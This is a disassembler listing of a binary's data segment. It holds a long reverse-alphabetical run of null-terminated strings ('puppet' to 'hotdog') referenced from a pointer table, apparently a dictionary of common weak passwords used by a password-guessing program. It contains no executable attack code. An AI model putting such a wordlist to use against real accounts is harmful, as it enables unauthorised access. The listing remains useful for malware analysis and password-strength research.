aPuppet		db 'puppet',0           ; DATA XREF: seg001:0042B7F8o
		align 4
aPunk		db 'punk',0             ; DATA XREF: seg001:0042B7F4o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: seg001:0042B7F0o
		align 10h
aPuneet		db 'puneet',0           ; DATA XREF: seg001:0042B7ECo
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: seg001:0042B7E8o
aPuke		db 'puke',0             ; DATA XREF: seg001:0042B7E4o
		align 4
aPuck		db 'puck',0             ; DATA XREF: seg001:0042B7E0o
		align 10h
aPublic		db 'public',0           ; DATA XREF: seg001:0042B7DCo
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: seg001:0042B7D8o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: seg001:0042B7D4o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: seg001:0042B7D0o
		align 4
aProtect	db 'protect',0          ; DATA XREF: seg001:0042B7CCo
aPrompt		db 'prompt',0           ; DATA XREF: seg001:0042B7C8o
		align 4
aProgram	db 'program',0          ; DATA XREF: seg001:0042B7C4o
aProfile	db 'profile',0          ; DATA XREF: seg001:0042B7C0o
aProfesso	db 'professo',0         ; DATA XREF: seg001:0042B7BCo
		align 4
aProcesso	db 'processo',0         ; DATA XREF: seg001:0042B7B8o
		align 10h
aProceed	db 'proceed',0          ; DATA XREF: seg001:0042B7B4o
aPrivs		db 'privs',0            ; DATA XREF: seg001:0042B7B0o
		align 10h
aPrivate	db 'private',0          ; DATA XREF: seg001:0042B7ACo
aPriv		db 'priv',0             ; DATA XREF: seg001:0042B7A8o
		align 10h
aPrinter	db 'printer',0          ; DATA XREF: seg001:0042B7A4o
aPrinceto	db 'princeto',0         ; DATA XREF: seg001:0042B7A0o
		align 4
aPrince		db 'prince',0           ; DATA XREF: seg001:0042B79Co
		align 4
aPresto		db 'presto',0           ; DATA XREF: seg001:0042B798o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: seg001:0042B794o
aPrecious	db 'precious',0         ; DATA XREF: seg001:0042B790o
		align 4
aPraise		db 'praise',0           ; DATA XREF: seg001:0042B78Co
		align 10h
aPower		db 'power',0            ; DATA XREF: seg001:0042B788o
		align 4
aPoster		db 'poster',0           ; DATA XREF: seg001:0042B784o
		align 10h
aPost		db 'post',0             ; DATA XREF: seg001:0042B780o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: seg001:0042B77Co
aPorno		db 'porno',0            ; DATA XREF: seg001:0042B778o
		align 4
aPorn		db 'porn',0             ; DATA XREF: seg001:0042B774o
		align 10h
aPork		db 'pork',0             ; DATA XREF: seg001:0042B770o
		align 4
aPoor		db 'poor',0
		align 10h
aPoop		db 'poop',0
		align 4
aPonderin	db 'ponderin',0
		align 4
aPolynomi	db 'polynomi',0
		align 10h
aPolly		db 'polly',0
		align 4
aPolice		db 'police',0
		align 10h
aPoetry		db 'poetry',0           ; DATA XREF: seg001:0042B754o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: seg001:0042B750o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: seg001:0042B74Co
		align 4
aPlover		db 'plover',0
		align 4
aPlayboy	db 'playboy',0
aPlane		db 'plane',0
		align 4
aPizza		db 'pizza',0            ; DATA XREF: seg001:0042B73Co
		align 4
aPiss		db 'piss',0             ; DATA XREF: seg001:0042B738o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: seg001:0042B734o
aPimp		db 'pimp',0             ; DATA XREF: seg001:0042B730o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: seg001:0042B72Co
		align 4
aPick		db 'pick',0
		align 4
aPhuck		db 'phuck',0
		align 4
aPhreak		db 'phreak',0
		align 4
aPhrase		db 'phrase',0
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: seg001:0042B718o
		align 4
aPhoton		db 'photon',0
		align 4
aPhone		db 'phone',0            ; DATA XREF: seg001:0042B710o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: seg001:0042B70Co
aPhilip		db 'philip',0           ; DATA XREF: seg001:0042B708o
		align 4
aPhil		db 'phil',0             ; DATA XREF: seg001:0042B704o
		align 4
aPeter		db 'peter',0
		align 4
aPete		db 'pete',0             ; DATA XREF: seg001:0042B6FCo
		align 4
aPervert	db 'pervert',0          ; DATA XREF: seg001:0042B6F8o
aPersona	db 'persona',0          ; DATA XREF: seg001:0042B6F4o
aPersimmo	db 'persimmo',0         ; DATA XREF: seg001:0042B6F0o
		align 4
aPermit		db 'permit',0           ; DATA XREF: seg001:0042B6ECo
		align 10h
aPerfect	db 'perfect',0          ; DATA XREF: seg001:0042B6E8o
aPercolat	db 'percolat',0
		align 4
aPepper		db 'pepper',0
		align 4
aPeoria		db 'peoria',0
		align 4
aPentium	db 'pentium',0
aPenthous	db 'penthous',0
		align 4
aPentagra	db 'pentagra',0
		align 4
aPentagon	db 'pentagon',0
		align 10h
aPenname	db 'penname',0          ; DATA XREF: seg001:0042B6C8o
aPenis		db 'penis',0            ; DATA XREF: seg001:0042B6C4o
		align 10h
aPenguin	db 'penguin',0          ; DATA XREF: seg001:0042B6C0o
aPenelope	db 'penelope',0
		align 4
aPencil		db 'pencil',0
		align 4
aPecker		db 'pecker',0
		align 4
aPeanuts	db 'peanuts',0
aPaula		db 'paula',0
		align 4
aPatty		db 'patty',0
		align 4
aPatriot	db 'patriot',0
aPatricia	db 'patricia',0
		align 10h
aPaste		db 'paste',0
		align 4
aPassphra	db 'passphra',0
		align 4
aPascal		db 'pascal',0
		align 4
aPapers		db 'papers',0
		align 4
aPaper		db 'paper',0
		align 4
aPapa		db 'papa',0
		align 4
aPamela		db 'pamela',0
		align 4
aPakistan	db 'pakistan',0
		align 4
aPaint		db 'paint',0
		align 10h
aPainless	db 'painless',0         ; DATA XREF: seg001:0042B678o
		align 4
aPacker		db 'packer',0           ; DATA XREF: seg001:0042B674o
		align 4
aPackard	db 'packard',0          ; DATA XREF: seg001:0042B670o
aPacific	db 'pacific',0          ; DATA XREF: seg001:0042B66Co
aOxford		db 'oxford',0           ; DATA XREF: seg001:0042B668o
		align 4
aOutside	db 'outside',0          ; DATA XREF: seg001:0042B664o
aOutput		db 'output',0           ; DATA XREF: seg001:0042B660o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: seg001:0042B65Co
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: seg001:0042B658o
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: seg001:0042B654o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: seg001:0042B650o
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: seg001:0042B64Co
		align 4
aOrient		db 'orient',0           ; DATA XREF: seg001:0042B648o
		align 10h
aOrca		db 'orca',0             ; DATA XREF: seg001:0042B644o
		align 4
aOperator	db 'operator',0         ; DATA XREF: seg001:0042B640o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: seg001:0042B63Co
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: seg001:0042B638o
		align 4
aOpening	db 'opening',0          ; DATA XREF: seg001:0042B634o
aOmega		db 'omega',0            ; DATA XREF: seg001:0042B62Co
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: seg001:0042B628o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: seg001:0042B624o
		align 10h
aOldage		db 'oldage',0           ; DATA XREF: seg001:0042B620o
		align 4
aOkay		db 'okay',0             ; DATA XREF: seg001:0042B61Co
		align 10h
aOffice		db 'office',0           ; DATA XREF: seg001:0042B618o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: seg001:0042B614o
		align 10h
aOceanogr	db 'oceanogr',0         ; DATA XREF: seg001:0042B610o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: seg001:0042B60Co
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: seg001:0042B608o
aNuts		db 'nuts',0             ; DATA XREF: seg001:0042B604o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: seg001:0042B600o
		align 4
aNumber		db 'number',0           ; DATA XREF: seg001:0042B5FCo
		align 4
aNull_0		db 'null',0             ; DATA XREF: seg001:0042B5F8o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: seg001:0042B5F4o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: seg001:0042B5F0o
		align 4
aNude		db 'nude',0             ; DATA XREF: seg001:0042B5ECo
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: seg001:0042B5E8o
aNoxious	db 'noxious',0          ; DATA XREF: seg001:0042B5E4o
aNovember	db 'november',0         ; DATA XREF: seg001:0042B5E0o
		align 4
aNovel		db 'novel',0            ; DATA XREF: seg001:0042B5DCo
		align 10h
aNova		db 'nova',0             ; DATA XREF: seg001:0042B5D8o
		align 4
aNoth		db 'noth',0             ; DATA XREF: seg001:0042B5D4o
		align 10h
aNotes		db 'notes',0            ; DATA XREF: seg001:0042B5D0o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: seg001:0042B5CCo
		align 10h
aNode		db 'node',0             ; DATA XREF: seg001:0042B5C8o
		align 4
aNobody		db 'nobody',0           ; DATA XREF: seg001:0042B5C4o
		align 10h
aNoble		db 'noble',0            ; DATA XREF: seg001:0042B5C0o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: seg001:0042B5BCo
		align 10h
aNita		db 'nita',0             ; DATA XREF: seg001:0042B5B8o
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: seg001:0042B5B4o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: seg001:0042B5B0o
		align 10h
aNight		db 'night',0            ; DATA XREF: seg001:0042B5ACo
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: seg001:0042B5A8o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: seg001:0042B5A4o
		align 4
aNice		db 'nice',0             ; DATA XREF: seg001:0042B5A0o
		align 4
aNext		db 'next',0             ; DATA XREF: seg001:0042B59Co
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: seg001:0042B598o
aNewton		db 'newton',0           ; DATA XREF: seg001:0042B594o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: seg001:0042B590o
		align 4
aNews		db 'news',0             ; DATA XREF: seg001:0042B58Co
		align 10h
aNewborn	db 'newborn',0          ; DATA XREF: seg001:0042B588o
aNetwork_0	db 'network',0          ; DATA XREF: seg001:0042B584o
aNetscape	db 'netscape',0         ; DATA XREF: seg001:0042B580o
		align 4
aNess		db 'ness',0             ; DATA XREF: seg001:0042B57Co
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: seg001:0042B578o
aNepenthe	db 'nepenthe',0         ; DATA XREF: seg001:0042B574o
		align 4
aNavy		db 'navy',0             ; DATA XREF: seg001:0042B570o
		align 10h
aNasa		db 'nasa',0             ; DATA XREF: seg001:0042B56Co
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: seg001:0042B568o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: seg001:0042B564o
		align 4
aName		db 'name',0             ; DATA XREF: seg001:0042B560o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: seg001:0042B55Co
		align 4
aMutant		db 'mutant',0           ; DATA XREF: seg001:0042B558o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: seg001:0042B554o
aMsdos		db 'msdos',0            ; DATA XREF: seg001:0042B550o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: seg001:0042B54Co
		align 4
aMozart		db 'mozart',0           ; DATA XREF: seg001:0042B548o
		align 4
aMovies		db 'movies',0           ; DATA XREF: seg001:0042B544o
		align 4
aMovie		db 'movie',0            ; DATA XREF: seg001:0042B540o
		align 4
aMove		db 'move',0             ; DATA XREF: seg001:0042B53Co
		align 4
aMouse		db 'mouse',0            ; DATA XREF: seg001:0042B538o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: seg001:0042B534o
		align 10h
aMosaic		db 'mosaic',0           ; DATA XREF: seg001:0042B530o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: seg001:0042B52Co
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: seg001:0042B528o
		align 10h
aMortal		db 'mortal',0           ; DATA XREF: seg001:0042B524o
		align 4
aMorris		db 'morris',0           ; DATA XREF: seg001:0042B520o
		align 10h
aMorley		db 'morley',0           ; DATA XREF: seg001:0042B51Co
		align 4
aMore		db 'more',0             ; DATA XREF: seg001:0042B518o
		align 10h
aMoose		db 'moose',0            ; DATA XREF: seg001:0042B514o
		align 4
aMoor		db 'moor',0             ; DATA XREF: seg001:0042B510o
		align 10h
aMoom		db 'moom',0             ; DATA XREF: seg001:0042B50Co
		align 4
aMonica		db 'monica',0           ; DATA XREF: seg001:0042B508o
		align 10h
aMonday		db 'monday',0           ; DATA XREF: seg001:0042B504o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: seg001:0042B500o
		align 10h
aMogul		db 'mogul',0            ; DATA XREF: seg001:0042B4FCo
		align 4
aModem		db 'modem',0            ; DATA XREF: seg001:0042B4F8o
		align 10h
aMode		db 'mode',0             ; DATA XREF: seg001:0042B4F4o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: seg001:0042B4F0o
		align 10h
aMission	db 'mission',0          ; DATA XREF: seg001:0042B4ECo
aMisfit		db 'misfit',0           ; DATA XREF: seg001:0042B4E8o
		align 10h
aMinsky		db 'minsky',0           ; DATA XREF: seg001:0042B4E4o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: seg001:0042B4E0o
aMine		db 'mine',0             ; DATA XREF: seg001:0042B4DCo
		align 4
aMike		db 'mike',0             ; DATA XREF: seg001:0042B4D8o
		align 10h
aMidieval	db 'midieval',0         ; DATA XREF: seg001:0042B4D4o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: seg001:0042B4D0o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: seg001:0042B4CCo
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: seg001:0042B4C8o
		align 10h
aMicro		db 'micro',0            ; DATA XREF: seg001:0042B4C4o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: seg001:0042B4C0o
		align 10h
aMichelle	db 'michelle',0         ; DATA XREF: seg001:0042B4BCo
		align 4
aMichele	db 'michele',0          ; DATA XREF: seg001:0042B4B8o
aMichelan	db 'michelan',0         ; DATA XREF: seg001:0042B4B4o
		align 10h
aMichel		db 'michel',0           ; DATA XREF: seg001:0042B4B0o
		align 4
aMichael	db 'michael',0          ; DATA XREF: seg001:0042B4ACo
aMice		db 'mice',0             ; DATA XREF: seg001:0042B4A8o
		align 4
aMets		db 'mets',0             ; DATA XREF: seg001:0042B4A4o
		align 10h
aMetalica	db 'metalica',0         ; DATA XREF: seg001:0042B4A0o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: seg001:0042B49Co
		align 4
aMetal		db 'metal',0            ; DATA XREF: seg001:0042B498o
		align 10h
aMerlin		db 'merlin',0           ; DATA XREF: seg001:0042B494o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: seg001:0042B490o
aMenu		db 'menu',0             ; DATA XREF: seg001:0042B48Co
		align 4
aMenace		db 'menace',0           ; DATA XREF: seg001:0042B488o
		align 10h
aMemory		db 'memory',0           ; DATA XREF: seg001:0042B484o
		align 4
aMember		db 'member',0           ; DATA XREF: seg001:0042B480o
		align 10h
aMelrose	db 'melrose',0          ; DATA XREF: seg001:0042B47Co
aMellon		db 'mellon',0           ; DATA XREF: seg001:0042B478o
		align 10h
aMelissa	db 'melissa',0          ; DATA XREF: seg001:0042B474o
aMegan		db 'megan',0            ; DATA XREF: seg001:0042B470o
		align 10h
aMegadeth	db 'megadeth',0         ; DATA XREF: seg001:0042B46Co
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: seg001:0042B468o
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: seg001:0042B464o
		align 10h
aMaurice	db 'maurice',0          ; DATA XREF: seg001:0042B460o
aMath		db 'math',0             ; DATA XREF: seg001:0042B45Co
		align 10h
aMaster		db 'master',0           ; DATA XREF: seg001:0042B458o
		align 4
aMason		db 'mason',0            ; DATA XREF: seg001:0042B454o
		align 10h
aMary		db 'mary',0             ; DATA XREF: seg001:0042B450o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: seg001:0042B44Co
		align 10h
aMarty		db 'marty',0            ; DATA XREF: seg001:0042B448o
		align 4
aMars		db 'mars',0             ; DATA XREF: seg001:0042B444o
		align 10h
aMarriage	db 'marriage',0         ; DATA XREF: seg001:0042B440o
		align 4
aMarni		db 'marni',0            ; DATA XREF: seg001:0042B43Co
		align 4
aMarkus		db 'markus',0           ; DATA XREF: seg001:0042B438o
		align 4
aMark		db 'mark',0             ; DATA XREF: seg001:0042B434o
		align 4
aMarines	db 'marines',0          ; DATA XREF: seg001:0042B430o
aMarijuan	db 'marijuan',0         ; DATA XREF: seg001:0042B42Co
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: seg001:0042B428o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: seg001:0042B424o
aMaria		db 'maria',0            ; DATA XREF: seg001:0042B420o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: seg001:0042B41Co
		align 4
aMarci		db 'marci',0            ; DATA XREF: seg001:0042B418o
		align 4
aMara		db 'mara',0             ; DATA XREF: seg001:0042B414o
		align 4
aManager	db 'manager',0          ; DATA XREF: seg001:0042B410o
aMana		db 'mana',0             ; DATA XREF: seg001:0042B40Co
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: seg001:0042B408o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: seg001:0042B404o
aMaint		db 'maint',0            ; DATA XREF: seg001:0042B400o
		align 4
aMail		db 'mail',0             ; DATA XREF: seg001:0042B3FCo
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: seg001:0042B3F8o
		align 4
aMagic		db 'magic',0            ; DATA XREF: seg001:0042B3F4o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: seg001:0042B3F0o
		align 4
aMacro		db 'macro',0            ; DATA XREF: seg001:0042B3ECo
		align 4
aMack		db 'mack',0             ; DATA XREF: seg001:0042B3E8o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: seg001:0042B3E4o
		align 10h
aMachine	db 'machine',0          ; DATA XREF: seg001:0042B3E0o
aLynne		db 'lynne',0            ; DATA XREF: seg001:0042B3DCo
		align 10h
aLynn		db 'lynn',0             ; DATA XREF: seg001:0042B3D8o
		align 4
aLust		db 'lust',0             ; DATA XREF: seg001:0042B3D4o
		align 10h
aLuke		db 'luke',0             ; DATA XREF: seg001:0042B3D0o
		align 4
aLude		db 'lude',0             ; DATA XREF: seg001:0042B3CCo
		align 10h
aLucy		db 'lucy',0             ; DATA XREF: seg001:0042B3C8o
		align 4
aLucus		db 'lucus',0            ; DATA XREF: seg001:0042B3C4o
		align 10h
aLuck		db 'luck',0             ; DATA XREF: seg001:0042B3C0o
		align 4
aLover		db 'lover',0            ; DATA XREF: seg001:0042B3BCo
		align 10h
aLovebug	db 'lovebug',0          ; DATA XREF: seg001:0042B3B8o
aLouis		db 'louis',0            ; DATA XREF: seg001:0042B3B4o
		align 10h
aLoser		db 'loser',0            ; DATA XREF: seg001:0042B3B0o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: seg001:0042B3ACo
		align 4
aLorin		db 'lorin',0            ; DATA XREF: seg001:0042B3A8o
		align 4
aLori		db 'lori',0             ; DATA XREF: seg001:0042B3A4o
		align 4
aLore		db 'lore',0             ; DATA XREF: seg001:0042B3A0o
		align 4
aLoose		db 'loose',0            ; DATA XREF: seg001:0042B39Co
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: seg001:0042B398o
		align 4
aLois		db 'lois',0             ; DATA XREF: seg001:0042B394o
		align 4
aLogout		db 'logout',0           ; DATA XREF: seg001:0042B390o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: seg001:0042B38Co
		align 4
aLogic		db 'logic',0            ; DATA XREF: seg001:0042B388o
		align 10h
aLockword	db 'lockword',0         ; DATA XREF: seg001:0042B384o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: seg001:0042B380o
aLock		db 'lock',0             ; DATA XREF: seg001:0042B37Co
		align 4
aLoad		db 'load',0             ; DATA XREF: seg001:0042B378o
		align 4
aLive		db 'live',0             ; DATA XREF: seg001:0042B374o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: seg001:0042B370o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: seg001:0042B36Co
		align 10h
aLisa		db 'lisa',0             ; DATA XREF: seg001:0042B368o
		align 4
aLips		db 'lips',0             ; DATA XREF: seg001:0042B364o
		align 10h
aLion		db 'lion',0             ; DATA XREF: seg001:0042B360o
		align 4
aLink		db 'link',0             ; DATA XREF: seg001:0042B35Co
		align 10h
aLinda		db 'linda',0            ; DATA XREF: seg001:0042B358o
		align 4
aLimited	db 'limited',0          ; DATA XREF: seg001:0042B354o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: seg001:0042B350o
		align 4
aLima		db 'lima',0             ; DATA XREF: seg001:0042B34Co
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: seg001:0042B348o
		align 10h
aLight		db 'light',0            ; DATA XREF: seg001:0042B344o
		align 4
aLife		db 'life',0             ; DATA XREF: seg001:0042B340o
		align 10h
aLicker		db 'licker',0           ; DATA XREF: seg001:0042B33Co
		align 4
aLick		db 'lick',0             ; DATA XREF: seg001:0042B338o
		align 10h
aLibrary	db 'library',0          ; DATA XREF: seg001:0042B334o
aLiberal	db 'liberal',0          ; DATA XREF: seg001:0042B330o
aLexluthe	db 'lexluthe',0         ; DATA XREF: seg001:0042B32Co
		align 4
aLewis		db 'lewis',0            ; DATA XREF: seg001:0042B328o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: seg001:0042B324o
aLeslie		db 'leslie',0           ; DATA XREF: seg001:0042B320o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: seg001:0042B31Co
aLeroy		db 'leroy',0            ; DATA XREF: seg001:0042B318o
		align 4
aLeland		db 'leland',0           ; DATA XREF: seg001:0042B314o
		align 4
aLegal		db 'legal',0            ; DATA XREF: seg001:0042B310o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: seg001:0042B30Co
		align 10h
aLeft		db 'left',0             ; DATA XREF: seg001:0042B308o
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: seg001:0042B304o
		align 4
aLeah		db 'leah',0             ; DATA XREF: seg001:0042B300o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: seg001:0042B2FCo
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: seg001:0042B2F8o
aLava		db 'lava',0             ; DATA XREF: seg001:0042B2F4o
		align 4
aLaura		db 'laura',0            ; DATA XREF: seg001:0042B2F0o
		align 4
aLaser		db 'laser',0            ; DATA XREF: seg001:0042B2ECo
		align 4
aLarry		db 'larry',0            ; DATA XREF: seg001:0042B2E8o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: seg001:0042B2E4o
		align 4
aLara		db 'lara',0             ; DATA XREF: seg001:0042B2E0o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: seg001:0042B2DCo
		align 4
aLana		db 'lana',0             ; DATA XREF: seg001:0042B2D8o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: seg001:0042B2D4o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: seg001:0042B2D0o
		align 10h
aLakers		db 'lakers',0           ; DATA XREF: seg001:0042B2CCo
		align 4
aLadle		db 'ladle',0            ; DATA XREF: seg001:0042B2C8o
		align 10h
aLadies		db 'ladies',0           ; DATA XREF: seg001:0042B2C4o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: seg001:0042B2C0o
		align 10h
aKristine	db 'kristine',0         ; DATA XREF: seg001:0042B2BCo
		align 4
aKristin	db 'kristin',0          ; DATA XREF: seg001:0042B2B8o
aKristie	db 'kristie',0          ; DATA XREF: seg001:0042B2B4o
aKristi		db 'kristi',0           ; DATA XREF: seg001:0042B2B0o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: seg001:0042B2ACo
aKrista		db 'krista',0           ; DATA XREF: seg001:0042B2A8o
		align 4
aKnown		db 'known',0            ; DATA XREF: seg001:0042B2A4o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: seg001:0042B2A0o
		align 4
aKnight		db 'knight',0           ; DATA XREF: seg001:0042B29Co
		align 10h
aKnife		db 'knife',0            ; DATA XREF: seg001:0042B298o
		align 4
aKlingon	db 'klingon',0
aKitten		db 'kitten',0
		align 4
aKissmyas	db 'kissmyas',0
		align 4
aKiss		db 'kiss',0
		align 4
aKirkland	db 'kirkland',0
		align 4
aKirk		db 'kirk',0
		align 10h
aKing		db 'king',0
		align 4
aKimberly	db 'kimberly',0
		align 4
aKilo		db 'kilo',0
		align 4
aKillthem	db 'killthem',0
		align 4
aKill		db 'kill',0
		align 10h
aKids		db 'kids',0
		align 4
aKeyword	db 'keyword',0
aKeyin		db 'keyin',0
		align 4
aKeybord	db 'keybord',0
aKewl		db 'kewl',0
		align 4
aKevin		db 'kevin',0
		align 10h
aKerry		db 'kerry',0
		align 4
aKerrie		db 'kerrie',0
		align 10h
aKerri		db 'kerri',0
		align 4
aKernel		db 'kernel',0
		align 10h
aKermit		db 'kermit',0
		align 4
aKeri		db 'keri',0
		align 10h
aKelly		db 'kelly',0
		align 4
aKatrina	db 'katrina',0
aKatina		db 'katina',0
		align 4
aKathy		db 'kathy',0
		align 10h
aKathrine	db 'kathrine',0
		align 4
aKathleen	db 'kathleen',0
		align 4
aKate		db 'kate',0
		align 10h
aKatana		db 'katana',0
		align 4
aKarina		db 'karina',0
		align 10h
aKarie		db 'karie',0
		align 4
aKaren		db 'karen',0
		align 10h
aKaka		db 'kaka',0
		align 4
aJupiter	db 'jupiter',0
aJune		db 'june',0
		align 4
aJuliet		db 'juliet',0
		align 10h
aJulie		db 'julie',0
		align 4
aJulia		db 'julia',0
		align 10h
aJuicy		db 'juicy',0
		align 4
aJuggle		db 'juggle',0
		align 10h
aJudy		db 'judy',0
		align 4
aJudith		db 'judith',0
		align 10h
aJoyce		db 'joyce',0
		align 4
aJournal	db 'journal',0
aJoshua		db 'joshua',0
		align 4
aJoseph		db 'joseph',0
		align 10h
aJohnny		db 'johnny',0
		align 4
aJohndoe	db 'johndoe',0
aJohn		db 'john',0
		align 4
aJody		db 'jody',0
		align 10h
aJoanne		db 'joanne',0
		align 4
aJixian		db 'jixian',0
		align 10h
aJill		db 'jill',0
		align 4
aJewelry	db 'jewelry',0
aJester		db 'jester',0
		align 4
aJessica	db 'jessica',0
aJerusale	db 'jerusale',0
		align 4
aJerry		db 'jerry',0
		align 4
aJenny		db 'jenny',0
		align 4
aJennifer	db 'jennifer',0
		align 4
aJenni		db 'jenni',0            ; DATA XREF: seg001:0042B199o
		align 10h
aJeff		db 'jeff',0
		align 4
aJeanne		db 'jeanne',0
		align 10h
aJean		db 'jean',0             ; DATA XREF: seg001:0042B18Do
		align 4
aJazz		db 'jazz',0
		align 10h
aJava		db 'java',0
		align 4
aJasmin		db 'jasmin',0
		align 10h
aJapan		db 'japan',0
		align 4
aJanie		db 'janie',0
		align 10h
aJanice		db 'janice',0
		align 4
aJanet		db 'janet',0
		align 10h
aJane		db 'jane',0
		align 4
aJail		db 'jail',0             ; DATA XREF: seg001:loc_42B169o
		align 10h
aJackie		db 'jackie',0
		align 4
aIsis		db 'isis',0
		align 10h
aIrishman	db 'irishman',0
		align 4
aIrene		db 'irene',0
		align 4
aInvent		db 'invent',0
		align 4
aInteger	db 'integer',0
aInside		db 'inside',0
		align 4
aInput		db 'input',0            ; DATA XREF: seg001:0042B14Co
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: seg001:0042B148o
		align 10h
aInna		db 'inna',0             ; DATA XREF: seg001:0042B144o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: seg001:0042B140o
		align 10h
aIngress	db 'ingress',0          ; DATA XREF: seg001:0042B13Co
aIngres		db 'ingres',0           ; DATA XREF: seg001:0042B138o
		align 10h
aIndians	db 'indians',0          ; DATA XREF: seg001:0042B134o
aIndiana	db 'indiana',0          ; DATA XREF: seg001:0042B130o
aIndian		db 'indian',0           ; DATA XREF: seg001:0042B12Co
		align 4
aIndia		db 'india',0            ; DATA XREF: seg001:0042B128o
		align 10h
aInclude	db 'include',0          ; DATA XREF: seg001:0042B124o
aImperial	db 'imperial',0         ; DATA XREF: seg001:0042B120o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: seg001:0042B11Co
		align 10h
aImbrogli	db 'imbrogli',0         ; DATA XREF: seg001:0042B118o
		align 4
aImage		db 'image',0            ; DATA XREF: seg001:0042B114o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: seg001:0042B110o
		align 10h
aIcecream	db 'icecream',0         ; DATA XREF: seg001:0042B10Co
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: seg001:0042B108o
		align 4
aHyper		db 'hyper',0            ; DATA XREF: seg001:0042B104o
		align 10h
aHydrogen	db 'hydrogen',0         ; DATA XREF: seg001:0042B100o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: seg001:0042B0FCo
		align 4
aHunter		db 'hunter',0           ; DATA XREF: seg001:0042B0F8o
		align 10h
aHunt		db 'hunt',0             ; DATA XREF: seg001:0042B0F4o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: seg001:0042B0F0o
		align 10h
aHotel		db 'hotel',0            ; DATA XREF: seg001:0042B0ECo
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: seg001:0042B0E8o
		align 10h
